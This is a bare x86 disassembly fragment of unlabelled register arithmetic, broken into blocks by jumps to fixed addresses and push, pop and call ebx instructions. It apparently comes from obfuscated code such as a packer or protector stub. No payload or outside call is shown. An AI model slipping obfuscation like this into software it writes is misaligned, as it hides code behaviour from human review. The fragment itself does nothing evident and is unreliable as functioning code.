or ecx, esi
shl edi, 0x14
sub ecx, edx
and edx, esi
jmp 0x4b9748
pop ebx
xchg edx, esi
xor edx, esi
and edi, edx
add edx, esi
sub edx, ecx
or edx, 0x609927ff
xchg edx, edi
xor ecx, edx
add edx, 0x609a6e43
xor esi, 0x609ad5b5
jmp 0x4b8af1
call ebx
sub esi, ecx
add edi, edx
add ecx, esi
and edi, esi
jmp 0x4b981a
pop ebx
xor edi, edx
add ecx, edi
sub esi, 0x60c8e5f3
add esi, ecx
sub edi, edx
shl edx, 0x1c
shr edi, 0x10
sub esi, edx
xor edx, edi
add esi, edi
xor edi, esi
add esi, ecx
jmp 0x4b7bf6
pop ebx
bswap esi
xor esi, edi
dec edx
sub edi, 0x60cee723
add ecx, edi
xchg esi, edi
and ecx, edx
or ecx, edx
ror edi, 0x18
add edx, edi
jmp 0x4ba99f
push 0x36e154f1
rol ecx, 0xc
xor edx, edi
sub esi, ecx
sub ecx, 0x60fc4651
or esi, edx
ror esi, 0x1b
rol edi, 5
add ecx, edx
and esi, 0x60fe683f
xor edi, esi
jmp 0x4b8532
call ebx
and edx, 0x60ff611d
or edx, esi
xchg edi, ecx
inc ecx
xor edi, ecx
xor edx, 0x6101885f
or ecx, 0x6101f38d
or ecx, esi
and ecx, esi
xor esi, ecx
jmp 0x4b872c
push 0x36c6d05d
mov ecx, edx
and edi, 0x6106cf53
or edx, ecx
neg edx
mov edx, edi
xor edi, ecx
jmp 0x4b8681
pop ebx
xchg esi, ecx
rol edx, 0x15
xor esi, edi
and ecx, edx
add esi, ecx
xor edi, 0x610f7bd9
sub ecx, edi
or ecx, edi
jmp 0x4b86d9
push 0x401400
or esi, ecx
bswap esi
sub edi, 0x611cece7
nop
sub esi, ecx
sub edx, edi
mov edi, edx
or edx, 0x611f134b
jmp 0x4b8116
mov ebx, 0x3f4d7907
ror ecx, 0x16
add esi, edi
rol edi, 0x15
neg edx
sub edx, ecx
or ecx, edi
inc edi
ror edi, 0xe
xor esi, ecx
sub ecx, esi
jmp 0x4b96cc
push 0x36e5e6ef
mov edi, esi
or edi, edx
xchg ecx, edi
or esi, ecx
or ecx, edi
sub edx, esi
not esi
and edx, ecx
or ecx, edx
sub edi, esi
jmp 0x4b9ba3
push 0x36c7aea7
ror edi, 0x16
or edi, edx
sub esi, edi
and esi, ecx
jmp 0x4b9dbf
pop ebx
mov ecx, 0x61597479
or esi, 0x6159e1f3
shr edx, 0x17
add edi, 0x615acd8b
shl edi, 5
bswap edi
inc esi
mov ecx, esi
mov edx, ecx
xchg esi, ecx
jmp 0x4b9e4f
push 0x36e4ff67
xor edx, edi
inc ecx
or edi, esi
xchg edi, ecx
and edi, ecx
xchg edx, esi
inc ecx
xchg esi, edx
or ecx, edi
xor esi, ecx
jmp 0x4ba518